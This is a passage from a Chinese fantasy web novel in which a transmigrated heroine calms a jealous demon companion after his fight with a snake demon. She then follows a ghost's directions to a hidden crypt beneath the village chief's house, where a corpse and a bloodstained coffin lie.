在岁忆谙打了第三个哈欠后,靳江浛终于开口,他别扭道:“谙……晚安。”
“晚安。”岁忆谙快速地回了一句,又快速地将门关上。
靳江浛也不沮丧,他蹦蹦跳跳地回到自己的厢房里。
翌日清晨,许久不见的明媚阳光照耀着整座安宁村,客栈前院一片祥和,裴汔正拉着华屿山与白英空在晨练,柳微晴在一旁看着。
而客栈堂厅内的气氛异常紧张,黎绕月与靳江浛坐在同一张桌前。
今日黎绕月穿了一身纯洁的素白纱裙,脸上罕见地抹了脂粉,平日里被梳得一丝不苟的发丝,此时也拿了几根垂落下来,像是一朵人畜无害的小白花。
她默默地喝着杯中的茶水,时不时抬眼看向对面的靳江浛。
靳江浛自然察觉到了黎绕月的视线。
早在他踏出厢房的那一刻,黎绕月就与裴汔在窃窃私语着什么,紧接着,裴汔就拉走了白英空和华屿山,这明显就是针对他来的。
早知如此,靳江浛就在房中多待会儿了,岁忆谙可能会睡到日上三竿才醒,要不是在房中等得太无聊了,他才不会下楼。
靳江浛还起了个大早为自己打扮了一番,结果全被黎绕月看去了,他真想挖了黎绕月的眼。
为了岁忆谙,忍住…………
黎绕月放下茶杯,终于开口:“靳道友昨夜可是与忆谙外出了?”
靳江浛单手撑脸,手肘搁置在桌面上,他闭上眼不回话,微微起伏的胸膛能表明他现在很烦躁。
黎绕月也不尴尬,她眼波流转,勾唇浅笑道:“也不知这是否是谙的意愿…………”
“你也配唤她谙?”靳江浛掀起眼皮,眼中满是阴郁和不耐,眼神似一把刀刺向黎绕月。
岁忆谙这个名字本是只有他一人知晓的,什么阿猫阿狗都配唤她了?
“有何不配?毕竟这她的名字还是你亲口说出来的,兴许谙还十分乐意我如此唤她。”
“而且谙很在乎我,比在乎你更要在乎我。”
这句话说到了靳江浛心里,想起自己与岁忆谙以往说过的话,十句里有七句都是再说黎绕月和白英空,他搁在桌上的手蜷曲成拳状。
黎绕月的黑眸中充满了挑衅,似乎是嫌靳江浛不够生气,她一边拨弄着桌上的茶杯,口中一边轻轻唤着:“谙………谙………谙…………”
靳江浛忍无可忍,掌作刃挥向对面的人,凌厉的黑气伴随其中,黎绕月感受到了熟悉的魔气,她不仅没有感到慌乱,心里还格外兴奋。
黎绕月脚步一转,翻身躲过,她用只有两个人能听到的声音问:“你是魔……还是鬼石持有者?”
“等你下地狱就知道了。”
靳江浛冷声说完,他化出黑石长剑欲朝黎绕月挥出一剑时,脑海中的零零零大喊:【不要啊!大反派你不能杀她,想想岁忆谙!】
一提到岁忆谙,靳江浛心中的怒火熄灭,他闭眼平复情绪,他不耐烦道:【滚。】
身上散发的黑气瞬间消散,靳江浛收起剑。
就在零零零以为靳江浛不会再动手时。
下一秒,靳江浛一挥手,一股强大的魔力朝黎绕月袭去。
黎绕月倒退几步,伸手阻挡,魔力刚消,视线里就出现一把长剑。
锋利的剑刃只离黎绕月的脸一指,黎绕月大惊,她左转身,右手使出骨笛。
砰!
黑石与骨头的碰撞,魔力与妖力四溢。
靳江浛往前迈步。
撕拉———
武器相接处擦出点点火花。
黎绕月手腕一转,用骨笛将长剑挥开,骨笛在指间灵活转动,顺势在背后左右手交换。
白色纱袖在空中划出了优美的弧度,黎绕月视线一动,她左手持笛,右手一掌打向靳江浛。
与此同时,靳江浛也伸出一掌。
两掌相对,两股力道互冲,客栈内的桌椅遭了殃,齐刷刷炸开倒地。
“不好了不好了,里头两位打起来了。”店小二见状,急忙冲出去搬救兵。
客栈内,两人同时被击得向后倒退。
靳江浛几步稳住,再度伸出长剑朝黎绕月刺去。
黎绕月站稳后并未反击,她站定在原地,意味深长地笑着。
“你们在干什么?”
熟悉的声音令靳江浛停住脚步,而剑尖堪堪抵住黎绕月的脖子。
黎绕月甚至能感受到剑尖的冰凉,她抬眼朝声音来源看去,双眼微红,眼眶含泪,呼喊道:“岁姑娘救我!”
就在这时,白英空几人也进了屋子,他用剑鞘挥开靳江浛的剑,厉声询问:“靳江浛,你怎么
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对黎绕月用剑?”
靳江浛收回剑不说话,他用余光看向哒哒哒跑下楼梯的岁忆谙。
不出所料,岁忆谙站在了对面,她指着靳江浛道:“靳江浛你干嘛?”
靳江浛悬着的一颗心还是死了,他张了张口想要反驳,在见到被众人护在中央,还冲他露出挑衅目光的黎绕月,他又不想说了。
靳江浛一言不发地转身离开。
“江浛,你去哪儿!”白英空在身后问。
黎绕月拉过岁忆谙的手哭诉:“岁姑娘,就因为我唤你谙,靳道友就想打我,我想与你亲近些可有错?靳道友未免也太小气了。”
岁忆谙安慰似地拍了拍黎绕月的手,说:“绕月,你受惊了。”
“裴兄,你快扶绕月回屋休息。”
“白兄,我去找一下靳江浛。”
岁忆谙快速说完后,就转身追了出去。
本来这一觉睡到了大中午,没有人来喊岁忆谙起床,也没有人在楼下吵闹,她心满意足地走出房间,结果就看见了楼下剑拔弩张的场面。
岁忆谙偷偷看着,见黎绕月呆呆地站在原地等着被刺,才忍不住开口。
就在岁忆谙转身出去时,柳微晴也想跟着出去,可华屿山挡在了她的身前。
华屿山问:“你去干什么?”
“我要跟着他们。”柳微晴认真道。
华屿山一副你不懂的模样,他说:“他们两人要独处,你别老跟着他们。”
怎料柳微晴歪着脑袋,用懵懂的眼神问他:“我不跟着他们,那我要跟着谁?”
华屿山愣住:“你为何要跟着别人?”
“因为…………我不知。”柳微晴左思右想,最终摇头。
华屿山有些无语,但他也起了疑心。
客栈外————
靳江浛走在林间,时不时回头看,想见的人没跟来,他气愤地将脚边的石子踢开。
有些时候,靳江浛真想杀了他们所有人,看着就碍眼,可是不行,倘若他们死了,岁忆谙就消失了。
靳江浛知道,岁忆谙不是这个世界的人。
在靳江浛第十六次扭头时,客栈就要淡出视线了,可身后依旧空无一人,他心中落寞无比。
“你在看什么?”
悦耳的声音从身前传来,靳江浛惊喜地回头看去,是岁忆谙。
随即,靳江浛收起笑容,绕过她向前走去。
“看来你不是很想同我说话,那我就走了。”
能让她追出来都是靳江浛八辈子修来的福分,竟然还敢甩脸子给她。
岁忆谙背着手,毫不犹豫往客栈方向走。
靳江浛一听,整个人一下子就慌了,他再次回头,只瞧见了岁忆谙决绝的背影。
眼见着岁忆谙真想走,靳江浛急忙跨步上前拦她。
“等一下。”
岁忆谙懒懒地掀起眼皮,抬头看他。
靳江浛委屈道:“连你也觉得是我的错?”
见岁忆谙继续沉默,靳江浛妥协:“你骂我吧。”
岁忆谙诧异,她反问:“我为何要骂你?”
“我对黎绕月动手了。”
靳江浛低下头,声量极低,双手紧张地揪着两侧的衣料,他在脑中疯狂思考着,思考着岁忆谙会怎样对他。
28. 本性
岁忆谙叹气,她能怎么说呢?
黎绕月刺激靳江浛的目的,无非就是想测测他是不是魔罢了,也不知晓靳江浛是怎么隐藏魔气的,周身黑成一片了,白英空都没有察觉。
不过今日黎绕月穿得真是漂亮,跟个仙女儿似的。
“你没错,以后绕着她走就好了。”
靳江浛不情不愿应下:“好吧。”
“我们回去吧。”
靳江浛还想岁忆谙在‘哄哄’自己,他一动不动,说:“可我不想看见黎绕月。”
“人家也不想看见你啊,打平了,走吧。”岁忆谙无奈,她拉起靳江浛的手往客栈走去。
靳江浛不再抗拒,再抗拒的话,岁忆谙怕是没耐心跟他说话了,任性也得有个度。
客栈门口,白英空正站在那儿,一见到靳江浛,他眼中的忧愁消失,上前几步又停住。
“江浛,你没事吧。”白英空的眼中是抑制不住的担忧。
靳江浛不想理会,岁忆谙肘了他一下,他才开口:“没事。”
“你……为何会与黎道友打起来?”白英空还是想先了解一下原因。
“没什么,互殴而已,她还乐意我打她。”
岁忆谙听后无语地看了他一眼。
靳江浛一脸无辜,他说错了吗?黎绕月不就是想逼他动手?
白英空心中还是有些气愤,本想着问清楚事情缘由在作判断,可靳江浛如今这般模样,他还能认为靳江浛是无辜的吗?
“那黎道友口中的谙是何人?”
岁忆谙道:“是我,其实岁江南是我的化名,我真正的名字叫岁忆谙。”
与其让白英空猜来猜去,倒不如自己大大方方地说出来,大方一点起码还不会让他起疑心。
“噢————”白英空若有所思地点点头。
眼看着白英空还想再问写什么,岁忆谙急忙问:“绕月呢?”
白英空道:“她在房里。”
“我去找她一下。”
岁忆谙走了几步又退回来,她拉过靳江浛,说:“你也一起。”
靳江浛被拉着往前走,然后又被岁忆谙挤回来。
岁忆谙对白英空说:“白兄,我让靳江浛去给黎绕月赔罪。”
“凭什么要我给她赔罪,我没错。”靳江浛虽然这么说着,但他并没有挣脱开岁忆谙的手,脚步也还在跟着她动。
“一盏茶前你还说是你的错。”
“我………………”
靳江浛错愕了一秒,回想着自己对岁忆谙说的话,他真是搬起石头砸自己的脚。
“好了,不是真赔罪,让你赔罪还不如让你去死,大家把话说开不就好了。”
叩叩叩———
岁忆谙敲响了黎绕月的房门,并道:“绕月,我把靳江浛带来了。”
门开了,开门的人是裴汔。
两人走进厢房之中,黎绕月正坐在桌前沏茶,她早已没了委屈的模样,眼也不抬,开口说:“谙,你来了。”
靳江浛一听,双臂环在胸前不肯进去,岁忆谙踏进门槛才发现他没有跟上来。
“一个名字而已。”岁忆谙再次拉他进来。
“坐吧。”
几人落座。
黎绕月一抬手,无形的结界笼罩整间屋子。
岁忆谙坐在了黎绕月对面,靳江浛与裴汔一右一左坐下。
黎绕月将沏好的茶倒出,她只倒了两杯,一杯放在自己桌前,另一杯移到了对面。
“有什么话就说开吧。”岁忆谙道。
谁都没有先开口,在其余几人看不见的桌下,岁忆谙表面上不动声色,暗地里,她轻轻踢了靳江浛一脚。
靳江浛看了她一眼,道:“怎么?月蛇妖是忘了自己奉魔为主了吗?
语气淡淡,可还带着一股无形的威压。
一听这话,黎绕月与裴汔同时看向他。
这是承认自己的身份了吗?
岁忆谙觉得接下来有一场好戏要看了,她拿起茶杯抿了一口。
黎绕月无视,她说:“是,月蛇妖族的确世世代代奉魔族为主,可我的任务是寻找鬼石。”
“你是魔,那么你也在寻找鬼石?”
“又或者说鬼石就在你的身上。”
这次轮到靳江浛不说话了,黎绕月更加肯定自己的猜想,鬼石和魔她都要。
黎绕月侧目看他,眼皮一眨,眼白变成了晶莹的铜黄色,黑色眼仁变成细细一条,竖瞳出现,眼中满是蛇看到猎物的兴奋。
岁忆谙碰巧看见了黎绕月变化的眼睛,她扬眉。
好帅啊!
眼皮再眨,黎绕月的眼睛又恢复了正常,她莞尔一笑:“看来你需要跟我去一趟月蛇洲了。”
“想让我去,还得看你有没有那个本事。”靳江浛淡淡道。
“这还不简单,我与绕月成婚那日,必定会请岁姑娘参加喜宴。”裴汔倒是笑出了声,话虽是对靳江浛说的,但他看的是黎绕月。
黎绕月懂了裴汔的意思,她接了一句:“岁姑娘可一定要来。”
岁忆谙激动道:“当然,我肯定会去的。”
靳江浛切了一声,听见后的岁忆谙将视线转向他,见他一脸不屑,便说:“你气个什么劲儿?你不去不就行了。”
靳江浛反问:“你都去了,你觉得我会不去吗?”
“随你喽。”
见两人的斗嘴,黎绕月火上浇油:“谙,魔族生性残暴,你怎么能和魔在一起。”
“啊?”岁忆谙愣住。
她说过?好像是说过。
靳江浛朝黎绕月瞪去,眸中翻涌杀气。
黎绕月丝毫不惧,反正在岁忆谙面前,靳江浛才不会动手,她理了理宽大的衣袖,说:“你可别瞪我,这话谙可说过。”
靳江浛又朝岁忆谙看去,眼中杀气消失殆尽,随之而来的是受伤的神色。
岁忆谙没理会身旁的视线,她看向对面坐着的人,目光真诚炽热。
“我能说只想和你在一起吗?”
三人皆怔。
黎绕月:“…………”
“不能!”
靳江浛与裴汔十分默契地开口。
而黎绕月听后脸有些热,她略显局促地将桌上早已凉透的茶杯拿起,然后一口饮下。
岁忆谙无视两人哀嚎,见聊得差不多了,她起身道:“既然你们都知晓了彼此的身份,那天就聊到这里吧,我要去吃午膳,你们吃吗?
“吃。”
靳江浛与黎绕月同时说,然后狠狠地剜了对方一眼。
裴汔也道:“我也吃。”
“那走吧。”
众人离开厢房,门口站着白英空三人,一见门开,白英空与华屿山瞧天瞧地就是不瞧人。
而柳微晴则站得跟个雕塑一样,一见到岁忆谙
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,她咧开嘴傻笑。
“你们在听墙角啊。”岁忆谙直言道。
“对呀。”柳微晴认真点头。
其他两人神情尴尬。
黎绕月率先对白英空说:“白兄不必担忧,我与靳道友之间已经没有嫌隙了。”
“那就好,那就好。”
几人下了楼,岁忆谙和靳江浛走在最后面。
“干嘛?”
岁忆谙看向靳江浛拽着她的手。
靳江浛皱着眉,委屈巴巴,小声地问:“你真的认为魔族生性残暴?”
这是设定,她能怎么说?
“这个……还是得看你的本性。”
就看你的本性能不能压过我的设定了。
后半句话岁忆谙没说出来,她想应该是没有的。
七人坐在桌前,白英空看起来心情很好,他虽没吃饭,但也咬着芝麻糖。
岁忆谙见气氛融洽,装作闲聊般开口:“昨夜我梦见了一个男人…………”
“什么?”
第一句话给几人下了一跳,尤其是靳江浛,他没有想到自己与岁忆谙逛了一夜,岁忆谙回去睡觉后做梦梦到的不是自己,而是别的男人。
要是被他查出来是谁,他就把那人皮给扒了。
“什么什么,我是说,昨夜我梦见了一个男人,他给我指了一条路,我打算去他指的那条路看看。”岁忆谙无语。
靳江浛一听,松了口气。
华屿山放下筷子,大笑起来:“哈哈哈,你不会睡傻了吧,梦见有人给你指路你就要去啊,小心去了就回不来。”
岁忆谙怼回去:“你才睡傻了,你不睡都傻。”
“昨日不是说好了,我们要去徐宸下葬之地看看吗?”白英空咽下芝麻糖道。
白英空要是不提的话,岁忆谙都快忘了,都怪昨晚的经历太过刺激,她心虚道。
“这个都一样,我们兵分两路,效率更快,我去他指的方向看看,你们就去徐宸下葬之地。”
“这…………”白英空不是不同意,毕竟岁忆谙这么做太危险了,不过靳江浛应该会陪她去。
默默竖着耳朵听的黎绕月在此时开口。
“我觉得谙说的不错,我们这么多人得发挥出最大作用才行。”
白英空思虑再三,最终点头:“那好,我去村东头,你们呢?”
“我与裴汔跟着…………白兄吧。”黎绕月道。
岁忆谙原以为她会跟着靳江浛,没想到她居然选择跟着白英空。
华屿山兴奋地说:“那我就去看看那条路是不是黄泉路。”
柳微晴也举着手:“我也去。”
吃完午膳,七人纷纷上路。
白英空、黎绕月、裴汔三人去村东头徐宸的下葬之地。
趁着岁忆谙在回房拿东西,靳江浛扭头就对等待的两人说:“你们两个别跟着我们。”
谁都不能阻止他与岁忆谙单独相处。
“靳江浛,你这也太霸道了吧,不让我们去,那我们还能去哪儿?”华屿山并不生气,他摇着扇子说。
“随便你,反正不能跟着我们。”
靳江浛真不喜欢动嘴皮子。
华屿山说:“可以呀,你能给我什么好处?”
靳江浛强压下心中不耐,他垂眸,掩盖眸中的冰凉,他问:“你要什么?”
“没想好,等我想好再向你要吧。”
29. 你说什么
收拾好东西的岁忆谙出了厢房,她特意换了身显眼的血红衣裙。
发鬓上也戴上了红色的琉璃发梳,脚上的布鞋也是红色。
要是再遇到鬼的话,靳江浛这个穿红衣的肯定比穿白衣的要凶,她倒是不怕被敌人发现,就算要隐藏也可以用隐身符。
下了楼梯,岁忆谙只看见了靳江浛一人。
“他们人呢?”
“走了。”
靳江浛说得脸不红心不跳,话落后又觉得有些敷衍,他又道:“他们去村长家了。”
岁忆谙看向靳江浛的眼神很淡,看得他心惊肉跳。
两人走在路上,岁忆谙总感觉自己忘了些什么,看了看身旁,只有靳江浛一人。
“我忘了,我是要跟着主角的…………”岁忆谙低声喃喃。
“算了,都分开了。”
两人来到昨晚遇见两鬼的地方,岁忆谙站在原地转了半晌,指着一条被人踩出来的小道说:“他指的是这个方向。”
靳江浛则指了指相反的方向说:“指的是那个。”
“这个。”
“那个。”
“这个!”
“…………那个。”
岁忆谙正想在说些什么时,余光一瞥,昨晚那个鬼魂又出现了,虽然现在是青天白日,但她还是有点怕,她急忙跑到靳江浛身后去。
转眼想到自己身穿红衣,岁忆谙又从靳江浛身后站出来。
男鬼视而不见,只见他抬起手臂,指向了都不是两人指的方向。
岁忆谙:“…………谢谢啊。”
男鬼消失,两人尴尬地对视了一眼。
“走吧。”岁忆谙拍了拍衣袖上不存在的灰尘,抬脚走去。
顺着男鬼指的方向一路走,越走越觉得路熟悉,最后两人停在了城隍庙前。
“怎么来到这儿了?”岁忆谙疑惑。
靳江浛闭上眼睛将意识放了出去,没几秒就睁开了眼,他发现他探查不了城隍庙里面的情形,只能探查外面的。
“进去看看。”
走进城隍庙,岁忆谙先是拜了拜城隍爷,站在她身旁的靳江浛突然开口:“你还拜这个?”
“外村人在这里待了这么久,不得让这里的城隍爷保护一下。”
岁忆谙淡淡开口,说罢,她提着裙子站起来。
靳江浛深深地看了眼城隍爷,城隍爷的眼睛似乎动了一下,与他的眼睛对上,他慌忙移开视线。
两人开始四处寻找,虽然也不知晓自己在找什么。
岁忆谙找来找去都没有找到什么线索,她又将目光移向城隍爷,然后跟贼似地绕到城隍爷背后。
靳江浛从外面走进来,庙里空荡,他没有见到岁忆谙的身影,心脏猛跳了一下。
“岁忆谙!”
庆幸的是,岁忆谙回话了。
“你小点儿声。”
声音来源在城隍爷后面,靳江浛先是看到了一抹熟悉的红,然后一个脑袋从城隍爷身后探了出来。
靳江浛松了口气,然后就见岁忆谙招呼自己过去。
“你在这里做什么?”靳江浛走过去。
岁忆谙指着地上说:“这后面还有一个暗道。”
靳江浛低头一看,一块长三尺,宽三尺的砖片被搬开了,底下是一个黑漆漆的洞。
他抬头看向岁忆谙,只见她眨巴着明亮的眼睛,一脸期待地看着自己。
靳江浛被看得有些受不住,他心下了然,道:“我下去看看。”
靳江浛毫不犹豫地跳了下去,岁忆谙凝神听着,好像没有落地声,她蹲下身来,朝黑洞喊着靳江浛的名字。
“靳江浛?”
“靳江浛,你还在吗?”
“不回话……应该不会出事吧…………”岁忆谙暗自猜测,要是真出事儿了,零零零肯定会告诉她。
岁忆谙不知晓下面是什么情况,既然靳江浛没说危险,那应该没危险,她拿出照明符,也学着靳江浛那般,直着身子想要跳下。
在即将起跳时,她朝洞里大声喊道:“靳江浛,我下来了!”
在跳下黑洞后,眼前一片漆黑,唯有手中的照明符发出亮光。
岁忆谙原以为自己会直直地坠落,没成想她直接坐在了干燥的尘土上,还在快速滑落。
“啊————”
通道里回荡着岁忆谙的叫声,听到后面还听出了几丝兴奋。
“呜呼!”
岁忆谙在通道里滑行,就像滑滑梯那样,失重感令她肾上腺素飙升,原本的惊慌被喜悦替代。
左拐右拐后,前方出现光亮,岁忆谙本能地闭上眼,用双臂护着脑袋,下一秒,身子腾空,然后落在了一个温暖的怀抱里。
“很好玩?”
低沉的声音传来,语调微微上扬,有一种别样的暧昧。
岁忆谙睁开眼,是靳江浛他正稳稳地抱着自己。
岁忆谙双脚落地,她拍了拍身上的尘土,说:“太好玩了,待会儿再来一次。”
靳江浛被岁忆谙欢快的语气感染,淡漠许久的黑眸中也渐渐染上愉悦。
他弯起嘴角:“走吧。”
岁忆谙这才将注意力放在周围的环境上。
又是一个密闭空间,墙上点着一排又一排的油灯,空旷的地上摆放着两幅棺材,其中一副棺材边围了一圈香炉。
香炉上方飘着缕缕青烟,空气中隐隐约约地飘着一股腐尸的臭味,二者混合成的味道真是令人作呕。
“这………这不会是个墓吧?”岁忆谙震惊道。
没想道这一趟下来还能进墓,也不知道墓主人的身份是否显贵?
靳江浛道:“应该不是,看着倒像个地下地洞。”
四周的墙壁是裸漏在外的黄土,除了油灯,两幅棺材和一圈香炉后,并没有其他的东西,连像样的陪葬品也没有。
岁忆谙先是走到了其中一副棺材前。
棺材上破了个大洞,像是被人拿东西砸出来的,拿着照明符往里伸,里面空无一人,白色的底上还有星星点点的红。
岁忆谙顿时就想到了之前阿鸢说的,她看向靳江浛,怀疑道:“这不会就是阿纸和徐宸躺的那个吧?”
没等靳江浛回话,她又跑到另一副棺材前,岁忆谙心中暗道着抱歉,然后伸手想要推开棺材板,脚底都打滑了棺材板还纹丝不动。
靳江浛站在一旁没有动作,他在等岁忆谙主动喊他。
“靳江浛,过来帮我。”
话音刚落,靳江浛就走上前,他将左手搭在沿边,用劲一推。
哗————
棺材板落地,腐臭味更重了,就算再摆上几圈香炉都掩盖不下的臭味。
岁忆谙捂着鼻子往前一看。
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只见棺材里的尸体腐烂不堪,脸上除了尸斑之外,倒是挺白净的,身上没有蛆虫,衣服也干净,应该是有人擦拭过。
靳江浛也捂着鼻子,他问:“这又是谁?”
岁忆谙忍着想反胃的,仔细看着尸体的脸,她逐渐皱眉。
这尸体的容貌虽然烂了大半,但越看越眼熟,在哪儿见过呢?
男鬼突然从脑中一闪而过,岁忆谙说:“这脸长得和刚才指路的鬼一模一样。”
靳江浛听后将意识再次放了出去,几秒后,他突然笑了出来。
“有意思。”
岁忆谙没听清,她问:“你说什么?”
“不告诉你。”
靳江浛挑衅地说着,虽然如此,但他心中还是万分期待岁忆谙能追问他。
又摆出了这副欠揍的模样,岁忆谙无语,她装作疑惑,又问:“你说什么?”
靳江浛真以为她没听清,于是一字一顿,说得大声了些。
“我说我不告诉你。”
岁忆谙再次淡淡地问道:“你说什么?”
靳江浛沉默,他才看出来岁忆谙在耍自己,想了想他不回了。
岁忆谙见他不说话也不理会,自顾自地看着棺材里的尸体。
靳江浛等了一会儿,见岁忆谙没有要继续问的意思,他最终还是忍不住开口。
“…………这个地下地洞的上方是村长家。”
岁忆谙还在想着这人是谁时,就听见靳江浛说了这么一句话,她先是环顾一周,说:“这么大个空洞也不怕塌了。”
随后想到了村长,岁忆谙指着尸体说:“那这不就是徐宸?!”
“八成是。”
村长竟然把徐宸的尸体放在了自己家地底下,那村东头埋的棺材岂不是空的。
忽然间,岁忆谙潜意识将视线看向了那个破了洞的棺材,心中升起一股不祥的预感。
她来到破洞的棺材前,不知从哪儿来的力气,一把将板子掀开。
棺材板的背面暴露在两人面前,上半部分布满触目惊心的红痕。
岁忆谙愣住,全身像是被石化般一动不动。
靳江浛凑近看了看,说:“都是血痕,看来阿纸不是死后入棺,极有可能是被活活闷死的。”
活活闷死………
透过血痕,岁忆谙仿佛能看见阿纸在漆黑的棺材里挣扎,就像那个梦。
“阿纸是被活活闷死的,是我闷死了她…………”
刹那间,地底下的空气变得稀薄,岁忆谙感觉自己快呼吸不上来了,眼前的视线逐渐模糊,直到肩膀被人触碰。
“谙,你怎么了?”靳江浛察觉到了岁忆谙的异常。
“是我闷死了她……是我闷死了她…………”岁忆谙依旧在呐呐自语。
靳江浛听了这话后一头雾水,但他还是留了个心眼儿。
“你在说什么胡话?我先带你离开。”
就在这时,头顶上突然传来了砸东西的声音,紧接着一抹光亮照下。
两人同时抬头,对上了华屿山的脸。
华屿山见到底下的两人,顿时扬起笑容,他道:“他们原来是你俩呀。”
这话说得岁忆谙摸不着头脑。
柳微晴从另一边探出头来,她惊喜道:“岁姑娘!”
一见到柳微晴,靳江浛沉下脸。
30. 不是人
“柳微晴,你想去哪里?”
半个时辰前,华屿山带着柳微晴离开客栈。
华屿山摇着扇子走在村道上,他实在不知晓接下来该去哪儿,便想问问柳微晴的意见。
等了半晌,柳微晴都没有回话,侧头看去,身旁空无一人。
“人呢?”
华屿山在原地茫然地转了一圈,最终在林里的一棵树下看到了她。
柳微晴一身淡绿纱裙,她揣着手站在树下,站得笔直笔直的,她歪着脑袋,仰着头往树枝上看去。
华屿山走上前,问:“你在这里做什么?”
“我在看燕子。”
顺着柳微晴的视线看去,树杈上正有一窝燕子,都是幼鸟,正在叽叽喳喳地叫着,想必是饿坏了,也不知鸟妈妈去了哪里。
华屿山看不出这燕子有什么问题,他又问:“为何要看燕子?”
“好看。”柳微晴嘴上回着华屿山的话,可的视线一直盯着燕子。
“好吧。”华屿山无奈,他总觉得柳微晴怪怪的。
华屿山又问:“那你看完了吗?”
“没有。”
华屿山被柳微晴的话整懵了,这柳微晴莫非是个傻子,医师的直觉让他握住柳微晴的手腕。
不过几秒,华屿山惊愕地松开手。
柳微晴竟然毫无脉搏!
华屿山不信邪地再次握了上去,脉搏平淡如水,毫无波动。
柳微晴愣愣地看着华屿山握着她的手,她在思索,遇到这种情况该怎么办?
脑中开始播放着岁忆谙的一举一动,岁忆谙当时好像是挣脱开来着,想到这儿,柳微晴学她的样子挣脱开华屿山的手,然后质问道:“你做什么?”
“没什么,你……不是人?”华屿山还是问了出来。
听到这话的柳微晴笑了,她看向华屿山的眼神格外危险,摇头说:“我不知。”
华屿山低头思索着,还未想出什么,他就感受到了一道凌厉的厉风,下意识侧身躲过。
柳微晴见自己的一脚踹落了空,便迅速一掌劈向华屿山的脖子。
华屿山下腰闪过,长长的大袖垂落,轻纱拂过他的脸庞,有些痒,同时带来了一阵清香,他有一瞬恍惚。
刷!
华屿山合扇别开柳微晴再度袭来的掌,接着一扇子拍向她的手腕,发出了清脆的拍击声。
雪白的皮肤很快就红了一片,可柳微晴像是感觉不到痛似的,脸上依旧面无表情,她继续攻击,右掌直指华屿山面部,华屿山开扇挡住。
要不是华屿山运转灵力聚集在扇面,扇布怕是要被柳微晴戳烂。
华屿山不知柳微晴为何对他出手,但现在也不是能聊的时候,他并不想伤到柳微晴。
华屿山连退几步,右手飞出扇子,扇子横飞,干扰了柳微晴的视线。
白茫茫的一片。
当柳微晴反应过来后,华屿山已经扼住了她的右手,压在了她的左肩。
扇子在空中旋转一圈后飞回,华屿山伸手接住,合起扇面。
柳微晴举起左手搭上华屿山的小臂,她想要掰开让自己脱身。
华屿山才不会让柳微晴如愿,他握着扇柄一起压住柳微晴的双手。
“放开我。”
柳微晴想要挣扎开华屿山的桎梏,可华屿山勒得很紧。
华屿山高了柳微晴一个头,他微微低下脑袋,问:“你为何要对我动手?”
“我……我不知。”柳微晴的眼睛里带着些许迷茫,挣扎的力度也弱了下来。
“什么?”华屿山诧异出声。
柳微晴又道:“我真的不知。”
“你快放开我。”
华屿山无奈:“你别再动手,我就放开你。”
柳微晴沉默片刻,回:“好。”
华屿山松了力道,柳微晴转身退开。
“你哪儿学的武功?”
柳微晴摇头:“不知。”
“好吧,一问三不知。”
华屿山叹完气,就见柳微晴迈步朝前走去,他跟在后面。
“你去哪儿?”
柳微晴回:“去村长家。”
“为何要去村长家?”轮到华屿山提问了。
“他们在村长家。”
“他们是谁?”
柳微晴没有说话,一直闷头往前走。
华屿山不懂柳微晴的做法,他只是定定地看着柳微晴的背影,眸中闪上一丝恶劣的兴趣。
他愉悦地摇着扇子,不慌不忙地跟上。
两人来到村长家,柳微晴一到门口就准备往里冲,华屿山连忙拉住她,一本正经道:“到人家家门口得先敲门。”
接着,华屿山就给柳微晴演示如何敲门,柳微晴也有样学样地敲了敲。
门是李蕨开的,他领着两人进屋。
村长的屋子不大,几个高大的人一进来就挤满了。
“你们这行事作风可一点都不像名门正派。”村长阴阳怪气地说,接着看了两人一眼,眼神四处瞅。
华屿山察觉到村长的异样,她问:“村长在找谁?”
“没谁,你们到底来做什么?”村长板着一张脸,不想让两人看出他心中所想。
华屿山笑得无害:“我想问问,装阿纸的那口棺材还在吗?”
“晦气,烧了。”村长一脸嫌弃,可仔细看去,眼底还有愧疚的神色。
一直待在一旁的柳微晴问:“那徐宸的呢?”
村长没回话,华屿山苦口婆心地劝道:“村长,我想要找到下咒者,只要找到了下咒者,村里就不用再死人了。”
华屿山本想问问村长关于徐宸的事情,结果村长突然发怒,拿着东西砸向两人。
在满屋逃的过程中,华屿山在地上意外地发现了一个铁板。
拉开一看,下面是岁忆谙和靳江浛。
原来柳微晴口中的他们是这两人。
将两人愣神,华屿山开口:“你们发什么呆,还不上来吗?”
两人对视一眼,靳江浛环过岁忆谙的腰身,从底下飞了上来。
两人刚站稳,一道熟悉的声音从门口传来。
“你们怎么在这儿?”
几人纷纷看向门口,是白英空。
其他两人倒没见到。
原本三人是要去村东头的,结果半路上遇到了一个男鬼。
男鬼同样给三人指了路,黎绕月与裴汔依旧去了村东头,而白英空决定按照男鬼指的方向走,没想到这个方向也是村长家。
面对白英空的询问,几人一时无言,岁忆谙站出来说。
“我昨夜不是梦见了有人为我指路吗?我顺着他指的方向找来,没想到那是个地下地洞,地洞里有两副棺材,其中一副有人,而那
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人的模样竟然与徐宸一模一样。”
听到这儿的村长大惊失色,他拄着拐杖,颤颤巍巍地走到岁忆谙面前。
“徐宸?你见到徐宸了?”
岁忆谙耸了耸肩,回:“没有啊,我猜的,毕竟这个地洞就在你家下面。”
村长气得不行,这几个人竟然敢叨扰徐宸,他举起拐杖就往几人身上招呼。
“谁让你们进来的!都给我滚!”
“都给我滚!”
拐杖即将落在离他最近的柳微晴身上,站在一边的华屿山拿着扇柄替她挡了一下。
村长追着其他人打。
柳微晴瞥了华屿山一眼,她好像应该说。
“谢谢。”
华屿山诧异:“你还会谢谢?”
柳微晴感觉他在阴阳自己,她选择沉默。
几人在房中四处逃窜,白英空挡在众人前,试图劝阻村长。
岁忆谙躲到最后面,她突然感觉脚下的地在微微晃动,低头看去。
地板出现裂缝,从墙边蔓延到脚下。
不是吧,真要塌了?
岁忆谙看着前面还在争论的几人,想开口打断时。
咔嚓————
脚下地板裂开的缝隙更大了,争论的几人都意识到了不对劲,还未等他们作出反应,地板轰然坍塌,屋中所有的物件都掉落在缝隙之中。
“啊!”
几人纷纷坠落,尘土飞扬。
会武功的稳稳落地,不会武功的被人搀扶着稳稳落地。
村长和李蕨被白英空扶着,村长脚一着地,便急忙慌地朝棺材走去。
徐宸的棺材里落了些许土块,村长将土块搬走,然后趴在他身上哭泣。
“宸儿!我的宸儿!”
岁忆谙去看了另一幅棺材,奇怪的是,那棺材周围空无一物,十分干净。
村长的哭声响彻地洞,华屿山捂着鼻子上前,瞥了一眼就说:“皮肉腐成这样,死了有一个多月吧。”
走过来的岁忆谙听到了这话,她皱起眉头,问:“一个月?你确定?”
华屿山肯定道:“当然,医师怎么可能连这点本事都没有?随便找个仵作来都能看出这人死于一月前。”
岁忆谙低头沉思,她记得之前阿鸢说……半月前,阿纸过门,次日徐宸就病死了。
